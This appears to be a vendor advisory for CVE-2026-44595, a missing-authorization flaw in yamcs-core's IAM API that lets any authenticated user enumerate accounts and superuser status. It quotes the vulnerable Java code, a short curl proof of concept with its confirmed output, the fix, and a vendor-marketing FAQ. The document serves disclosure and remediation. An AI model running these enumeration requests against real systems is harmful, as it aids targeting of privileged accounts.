CVE-2026-44595

The IAM API endpoints (listUsers, getUser, listGroups, and getGroup) in yamcs-core do not enforce the required SystemPrivilege.ControlAccess check. As a result, any authenticated user (even those with low or no privileges) can enumerate all user accounts in the system, including their usernames, superuser status, and group memberships.

This constitutes a broken access control vulnerability (CWE-862) that leaks sensitive user information.

Root Cause

File: yamcs-core/src/main/java/org/yamcs/http/api/IamApi.java:125,180,357,372

listUsers(), getUser(), listGroups(), and getGroup() do not require SystemPrivilege.ControlAccess. Any authenticated user, regardless of privileges, can enumerate all users, their superuser status, and group memberships:

// listUsers, NO checkSystemPrivilege
public void listUsers(Context ctx, Empty request, ...) {
    var sensitiveDetails = ctx.user.hasSystemPrivilege(SystemPrivilege.ControlAccess);
    // sensitiveDetails=false for low-priv users, but name/superuser/active still exposed
    for (User user : users) {
        UserInfo userb = toUserInfo(user, sensitiveDetails, directory);
        responseb.addUsers(userb);
    }
}

Compare with properly protected endpoints:

// createUser, correctly protected
public void createUser(Context ctx, ...) {
    ctx.checkSystemPrivilege(SystemPrivilege.ControlAccess); // present

Proof of Concept

# Authenticate as any low-privilege user GET access_token
curl -s -X POST "http://localhost:8090/auth/token" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "grant_type=password&username=lowpriv&password=lowpriv123"

# Enumerate all users, no ControlAccess required
curl -s "http://TARGET:8090/api/users" \
  -H "Authorization: Bearer $TOKEN" #paste access_token

Output (confirmed):

{
  "users": [
    { "name": "admin", "superuser": true, "active": true },
    { "name": "operator", "superuser": true, "active": true },
    { "name": "lowpriv", "superuser": false, "active": true }
  ]
}

Any authenticated user can:

1. List all user accounts in the system
2. Identify which accounts have superuser privileges
3. Use this information to target privileged accounts

The application does not perform an authorization check before performing a sensitive operation. Typical impact: unauthorized access to restricted functionality or data.

CVE-2026-44595 has a CVSS score of 4.3 (Medium). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (5.12.7); upgrading removes the vulnerable code path.

Kodem intelligence

Add ControlAccess check to listUsers, getUser, listGroups, getGroup:

public void listUsers(Context ctx, Empty request, ...) {
    ctx.checkSystemPrivilege(SystemPrivilege.ControlAccess); // ADD THIS
    ...
}

1. What is CVE-2026-44595? CVE-2026-44595 is a medium-severity missing authorization vulnerability in org.yamcs:yamcs-core (maven), affecting versions < 5.12.7. It is fixed in 5.12.7. The application does not perform an authorization check before performing a sensitive operation.
2. How severe is CVE-2026-44595? CVE-2026-44595 has a CVSS score of 4.3 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of org.yamcs:yamcs-core are affected by CVE-2026-44595? org.yamcs:yamcs-core (maven) versions < 5.12.7 is affected.
4. Is there a fix for CVE-2026-44595? Yes. CVE-2026-44595 is fixed in 5.12.7. Upgrade to this version or later.
5. Is CVE-2026-44595 exploitable, and should I be worried? Whether CVE-2026-44595 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-44595 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-44595? Upgrade org.yamcs:yamcs-core to 5.12.7 or later.